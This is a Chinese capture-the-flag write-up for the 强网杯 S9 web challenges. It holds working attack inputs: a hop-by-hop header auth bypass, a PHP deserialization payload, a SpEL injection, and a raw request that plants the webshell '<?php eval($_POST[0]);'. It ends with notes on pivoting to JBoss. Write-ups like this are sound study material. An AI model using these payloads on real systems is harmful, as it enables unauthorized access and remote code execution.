目录

  1. 1. 前言
  2. 2. SecretVault
  3. 3. PTer(Unsolved)
  4. 4. ezphp(Unsolved)
  5. 5. CeleRace(Unsolved)
  6. 6. anime
  7. 7. bbjv
  8. 8. yamcs(Unsolved)
  9. 9. 日志系统(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

强网杯S9

2025/10/18 CTF线上赛
  |     |   总文章阅读量:

前言

参考:

https://blog.xmcve.com/2025/10/20/%E5%BC%BA%E7%BD%91%E6%9D%AFS9-Polaris%E6%88%98%E9%98%9FWriteup/

https://wx.zsxq.com/group/824215518412


SecretVault

前后端分别采用 go 和 python,外网只暴露了 go 的认证中间件 5555 端口,签名服务在 4444 端口上,后端 flask 在 5000 端口

if not User.query.first():
    salt = secrets.token_bytes(16)
    password = secrets.token_bytes(32).hex()
    password_hash = hash_password(password, salt)
    user = User(
        id=0,
        username='admin',
        password_hash=password_hash,
        salt=base64.b64encode(salt).decode('utf-8'),
    )
    db.session.add(user)
    db.session.commit()

    flag = open('/flag').read().strip()
    flagEntry = VaultEntry(
        user_id=user.id,
        label='flag',
        login='flag',
        password_encrypted=fernet.encrypt(flag.encode('utf-8')).decode('utf-8'),
        notes='This is the flag entry.',
    )
    db.session.add(flagEntry)
    db.session.commit()

flag 被 Fernet 加密后存入数据库

后端只提供以下路由:

/register 和 /login

/dashboard:可以查看并操作当前用户下的数据

/passwords/new:插入数据

/passwords/int:entry_id:指定 id 删除数据

首先还是尝试登录到 admin,由于密码是随机的,观察 jwt

var (
	SecretKey = hex.EncodeToString(RandomBytes(32))
)

func SignToken(uid string) (string, error) {
	t := jwt.NewWithClaims(jwt.SigningMethodHS256, AuthClaims{
		UID: uid,
		RegisteredClaims: jwt.RegisteredClaims{
			Issuer:    "Authorizer",
			Subject:   uid,
			ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
			IssuedAt:  jwt.NewNumericDate(time.Now()),
			NotBefore: jwt.NewNumericDate(time.Now()),
		},
	})
	tokenString, err := t.SignedString([]byte(SecretKey))
	if err != nil {
		return "", err
	}
	return tokenString, nil
}

key 也是随机的

观察一下 X-User 的作用

authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
	req.URL.Scheme = "http"
	req.URL.Host = "127.0.0.1:5000"

	uid := GetUIDFromRequest(req)
	log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
	req.Header.Del("Authorization")
	req.Header.Del("X-User")
	req.Header.Del("X-Forwarded-For")
	req.Header.Del("Cookie")

	if uid == "" {
		req.Header.Set("X-User", "anonymous")
	} else {
		req.Header.Set("X-User", uid)
	}
}}

log.Println("Authorizer middleware service is running at :5555")
if err := http.ListenAndServe(":5555", authorizer); err != nil {
	log.Fatal(err)
}

貌似不可控

看一下 /sign 签名的方式

func SignToken(uid string) (string, error) {
	t := jwt.NewWithClaims(jwt.SigningMethodHS256, AuthClaims{
		UID: uid,
		RegisteredClaims: jwt.RegisteredClaims{
			Issuer:    "Authorizer",
			Subject:   uid,
			ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour)),
			IssuedAt:  jwt.NewNumericDate(time.Now()),
			NotBefore: jwt.NewNumericDate(time.Now()),
		},
	})
	tokenString, err := t.SignedString([]byte(SecretKey))
	if err != nil {
		return "", err
	}
	return tokenString, nil
}

signRouter := mux.NewRouter()
signRouter.HandleFunc("/sign", func(w http.ResponseWriter, r *http.Request) {
	if !strings.HasPrefix(r.RemoteAddr, "127.0.0.1:") {
		http.Error(w, "Forbidden", http.StatusForbidden)
	}
	uid := r.URL.Query().Get("uid")
	token, err := SignToken(uid)
	if err != nil {
		log.Printf("Failed to sign token: %v", err)
		http.Error(w, "Failed to generate token", http.StatusInternalServerError)
		return
	}
	w.Write([]byte(token))
}).Methods("GET")

log.Println("Sign service is running at 127.0.0.1:4444")
go func() {
	if err := http.ListenAndServe("127.0.0.1:4444", signRouter); err != nil {
		log.Fatal(err)
	}
}()

不过既然是检测请求头,可以从 RFC 规范上入手

exp:

GET /dashboard HTTP/1.1
Host: localhost:5555
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close,X-User

PTer(Unsolved)


ezphp(Unsolved)

wp 需提供详细的调试过程,那么很明显会和 php 底层有关(底层题这么多解对吗)

<?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));

解码得到

function generateRandomString($length = 8){$characters = 'abcdefghijklmnopqrstuvwxyz';$randomString = '';for ($i = 0; $i < $length; $i++) {$r = rand(0, strlen($characters) - 1);$randomString .= $characters[$r];}return $randomString;}date_default_timezone_set('Asia/Shanghai');class test{public $readflag;public $f;public $key;public function __construct(){$this->readflag = new class {public function __construct(){if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {$time = date('Hi');$filename = $GLOBALS['filename'];$seed = $time . intval($filename);mt_srand($seed);$uploadDir = 'uploads/';$files = glob($uploadDir . '*');foreach ($files as $file) {if (is_file($file)) unlink($file);}$randomStr = generateRandomString(8);$newFilename = $time . '.' . $randomStr . '.' . 'jpg';$GLOBALS['file'] = $newFilename;$uploadedFile = $_FILES['file']['tmp_name'];$uploadPath = $uploadDir . $newFilename; if (system("cp ".$uploadedFile." ". $uploadPath)) {echo "success upload!";} else {echo "error";}}}public function __wakeup(){phpinfo();}public function readflag(){function readflag(){if (isset($GLOBALS['file'])) {$file = $GLOBALS['file'];$file = basename($file);if (preg_match('/:\/\//', $file))die("error");$file_content = file_get_contents("uploads/" . $file);if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {die("Illegal content detected in the file.");}include("uploads/" . $file);}}}};}public function __destruct(){$func = $this->f;$GLOBALS['filename'] = $this->readflag;if ($this->key == 'class')new $func();else if ($this->key == 'func') {$func();} else {highlight_file('index.php');}}}$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';@unserialize($ser);

格式化后得到

<?php
function generateRandomString($length = 8)
{
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $r = rand(0, strlen($characters) - 1);
        $randomString .= $characters[$r];
    }
    return $randomString;
}
date_default_timezone_set('Asia/Shanghai');
class test
{
    public $readflag;
    public $f;
    public $key;
    public function __construct()
    {
        $this->readflag = new class {
            public function __construct()
            {
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
                    $time = date('Hi');
                    $filename = $GLOBALS['filename'];
                    $seed = $time . intval($filename);
                    mt_srand($seed);
                    $uploadDir = 'uploads/';
                    $files = glob($uploadDir . '*');
                    foreach ($files as $file) {
                        if (is_file($file)) unlink($file);
                    }
                    $randomStr = generateRandomString(8);
                    $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
                    $GLOBALS['file'] = $newFilename;
                    $uploadedFile = $_FILES['file']['tmp_name'];
                    $uploadPath = $uploadDir . $newFilename;
                    if (system("cp " . $uploadedFile . " " . $uploadPath)) {
                        echo "success upload!";
                    } else {
                        echo "error";
                    }
                }
            }
            public function __wakeup()
            {
                phpinfo();
            }
            public function readflag()
            {
                function readflag()
                {
                    if (isset($GLOBALS['file'])) {
                        $file = $GLOBALS['file'];
                        $file = basename($file);
                        if (preg_match('/:\/\//', $file)) die("error");
                        $file_content = file_get_contents("uploads/" . $file);
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
                            die("Illegal content detected in the file.");
                        }
                        include("uploads/" . $file);
                    }
                }
            }
        };
    }
    public function __destruct()
    {
        $func = $this->f;
        $GLOBALS['filename'] = $this->readflag;
        if ($this->key == 'class') new $func();
        else if ($this->key == 'func') {
            $func();
        } else {
            highlight_file('index.php');
        }
    }
}
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

先看 phpinfo

<?php
class test {
    public $f;
    public $key="func";
    
    public function __construct() {
        $this->f = "phpinfo";
    }
}

$a=new test();
echo urlencode(serialize($a));

PHP 7.4.33

disabled_functions:

call_user_func_array,call_user_func,create_function,ob_start,passthru,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,	

只能调用无参类或者方法,而 php7 中的匿名类不能被反序列化,只有 php8 才能使用代码行的写法来触发匿名类

那只能调 php 自己的源代码了


CeleRace(Unsolved)


anime

老二次元TTXSMcc这天在myanimelist上创建了自己的小天地,在这里,他记录了自己的人生信条:“好好学习,天天向上~”,他把自推的重要事物放进了自己的secret,他还将自己的五位幸运数字作为了保护他重要东西的密码,你不想看看吗?

nodejs,首页就直接报错

Invalid or unexpected token in /app/views/index.ejs while compiling ejs If the above error is not helpful, you may want to try EJS-Lint: https://github.com/RyanZim/EJS-Lint Or, if you meant to create an async function, pass `async: true` as an option.

鉴权取决于 cookie 的 session 和 sig

爆破密码出 00799,先记住 cookie

session=eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJUVFhTTWNjIn19; session.sig=rqob-b6vHw7zRxm3uJCzOshKL84

注意到 edit 这里的参数,猜测有原型链污染

测试发现 username,secret,role 不让改

注意到之前测试登录用户的时候用户名无视大小写,考虑到这里有缓存机制,尝试修改路由为小写用户 id,成功在 secret 获取 flag


bbjv

jdk21

@RestController  
public class GatewayController {  
    private final EvaluationService evaluationService;  
  
    public GatewayController(EvaluationService evaluationService) {  
        this.evaluationService = evaluationService;  
    }  
  
    @GetMapping({"/check"})  
    public String checkRule(@RequestParam String rule) throws FileNotFoundException {  
        String result = this.evaluationService.evaluate(rule);  
        File flagFile = new File(System.getProperty("user.home"), "flag.txt");  
        if (flagFile.exists()) {  
            try (BufferedReader br = new BufferedReader(new FileReader(flagFile))) {  
                String content = br.readLine();  
                result = result + "<br><b>\ud83d\udea9 Flag:</b> " + content;  
            } catch (IOException e) {  
                throw new RuntimeException(e);  
            }  
        }  
  
        return result;  
    }  
}

这里只需要 user.home 下有 flag.txt 即可返回

FROM openjdk:21-jdk-slim

WORKDIR /app

COPY app.jar /app/app.jar
COPY flag.txt /tmp/flag.txt

EXPOSE 8080

CMD ["java", "-jar", "app.jar"]

而 flag.txt 在 tmp 下

@Service
public class EvaluationService {
    private final ExpressionParser parser = new SpelExpressionParser();
    private final EvaluationContext context;

    public EvaluationService(EvaluationContext context) {
        this.context = context;
    }

    public String evaluate(String expression) {
        try {
            Object result = this.parser.parseExpression(expression, new TemplateParserContext()).getValue(this.context);
            return "Result: " + String.valueOf(result);
        } catch (Exception e) {
            return "Error: " + e.getMessage();
        }
    }
}

@Configuration
public class SpelConfig {
    @Bean({"systemProperties"})
    public Properties systemProperties() {
        return System.getProperties();
    }

    @Bean({"restrictedEvalContext"})
    public EvaluationContext restrictedEvaluationContext(@Qualifier("systemProperties") Properties systemProperties) {
        SimpleEvaluationContext simpleContext = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new SecurePropertyAccessor()}).build();
        simpleContext.setVariable("systemProperties", systemProperties);
        return simpleContext;
    }
}

这里的 SPEL 表达式使用的是 SimpleEvaluationContext 解析,那么能用的表达式就没几个了

直接赋值即可:

#{#systemProperties['user.home'] = '/tmp'}

yamcs(Unsolved)


日志系统(复现)

参数覆盖,然后构造不完整数组可以绕过写文件的限制

POST /api.php?timestamp[year]=3&timestamp[month]=1&timestamp[day]=042&timestamp=&timestamp[year][=shell.php HTTP/1.1
Host: 47.94.202.253:26705
Referer: http://8.147.132.101:30721/
Accept-Language: zh-CN,zh;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Origin: http://8.147.132.101:30721
Pragma: no-cache
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

content=<?php eval($_POST[0]);

api.php

<?php
$queryString = $_SERVER['QUERY_STRING'] ?? '';
if (empty($queryString)) {
    exit("未检测到任何 GET 参数。");
}
if (strpos($queryString, '%') !== false) {
    exit("非法请求:GET 参数中不允许包含 '%' 字符。");
}
$params = explode('&', $queryString);
$expectedOrder = ['timestamp[year]', 'timestamp[month]', 'timestamp[day]'];
$foundKeys = [];
$duplicates = [];
$values = [];

foreach ($params as $param) {
    $parts = explode('=', $param, 2);
    $key = urldecode($parts[0]);
    $value = isset($parts[1]) ? urldecode($parts[1]) : '';

    if (preg_match('/^timestamp\[[a-zA-Z]+\]$/', $key)) {
        if (in_array($key, $foundKeys)) {
            $duplicates[] = $key;
        } else {
            $foundKeys[] = $key;
        }
        $values[$key] = $value;
    }
}

$missing = array_diff($expectedOrder, $foundKeys);
$extra   = array_diff($foundKeys, $expectedOrder);

if (!empty($duplicates)) {
    exit("检测到重复的参数:" . implode(', ', array_unique($duplicates)));
}
if (!empty($missing)) {
    exit("缺少参数:" . implode(', ', $missing));
}
if (!empty($extra)) {
    exit("含有多余参数:" . implode(', ', $extra));
}
if ($foundKeys !== $expectedOrder) {
    exit("参数顺序错误,应为:" . implode(' → ', $expectedOrder) . "。当前为:" . implode(', ', $foundKeys));
}
foreach ($expectedOrder as $k) {
    if (!isset($values[$k]) || !ctype_digit($values[$k])) {
        exit("参数 {$k} 必须为纯数字,当前为:" . ($values[$k] ?? '未提供'));
    }
}
$content = $_POST['content'] ?? '';
if (trim($content) === '') {
    exit("未检测到 POST 内容(content)。");
}


$dir = __DIR__ . '/upload';
if (!is_dir($dir)) mkdir($dir, 0777, true);

$year  = $_GET['timestamp']['year'];
$month = $_GET['timestamp']['month'];
$day   = $_GET['timestamp']['day'];
$filename = $dir."/".$year.$month.$day;
if (file_put_contents($filename, $content . PHP_EOL, FILE_APPEND | LOCK_EX) === false) {
    exit("写入文件失败");
}

echo "日志保存成功";
?>

index.php

<?php
// 自动获取当前系统日期
$year  = date('Y');
$month = date('n');
$day   = date('j');

// 拼接目标 URL(带 GET 参数)
$apiUrl = sprintf(
    "api.php?timestamp[year]=%s&timestamp[month]=%s&timestamp[day]=%s",
    $year, $month, $day
);
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>日志输入</title>
<style>
body {
    font-family: "Microsoft Yahei", sans-serif;
    background: #f7f7f7;
    display: flex;
    flex-direction: column;
    align-items: center;
    padding-top: 50px;
}
h2 { color: #333; }
form {
    background: white;
    padding: 20px 30px;
    border-radius: 10px;
    box-shadow: 0 2px 6px rgba(0,0,0,0.1);
    width: 400px;
}
textarea {
    width: 100%;
    height: 150px;
    font-size: 14px;
    padding: 10px;
    resize: vertical;
}
button {
    margin-top: 10px;
    width: 100%;
    background: #007BFF;
    color: white;
    border: none;
    padding: 10px;
    border-radius: 6px;
    cursor: pointer;
}
button:hover {
    background: #0056b3;
}
</style>
</head>
<body>
    <h2>📝 今日日志输入</h2>
    <form method="post" action="<?php echo htmlspecialchars($apiUrl); ?>">
        <textarea name="content" placeholder="请输入今日内容..." required></textarea>
        <button type="submit">提交日志</button>
    </form>
</body>
</html>

进程

UID PID PPID C STIME TTY TIME CMD
root 1 0 0 04:17 pts/0 00:00:00 tail -f /dev/null
root 77 1 0 04:17 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 82 77 0 04:17 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 83 77 0 04:17 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 84 77 0 04:17 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 85 77 0 04:17 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 86 77 0 04:17 ? 00:00:00 /usr/sbin/apache2 -k start
root 90 1 0 04:17 pts/0 00:00:00 /bin/sh /opt/jboss-4.2.3.GA/bin/run.sh -b 0.0.0.0
root 111 90 0 04:17 pts/0 00:00:04 java -Dprogram.name=run.sh -Xms128m -Xmx512m -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djava.net.preferIPv4Stack=true -Djava.endorsed.dirs=/opt/jboss-4.2.3.GA/lib/endorsed -classpath /opt/jboss-4.2.3.GA/bin/run.jar org.jboss.Main -b 0.0.0.0
www-data 140 77 0 04:17 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 141 77 0 04:17 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 142 77 0 04:18 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 143 77 0 04:18 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 144 77 0 04:18 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 192 141 0 04:37 ? 00:00:00 sh -c ps -ef
www-data 193 192 0 04:37 ? 00:00:00 ps -ef

开了个 jboss,开了 8083、1099、4446 端口

不出网,先尝试做 neo 正向代理,但是可能是 apache 的问题一直连不上,后面看别的队有用 suo5 的

这里考虑直接传 busybox 或者编译一个 curl 传上去

curl 8083 端口发现返回 404,dump 一下 jboss 包到本地起发现 jboss-4.2.3.GA/server/default/deploy/ 目录不存在,也就是没起 web 服务,不能打 jboss 反序列化 CVE-2017-7504

但是没注意到下面还有个 JBoss EAP/AS <= 6.* RCE 能打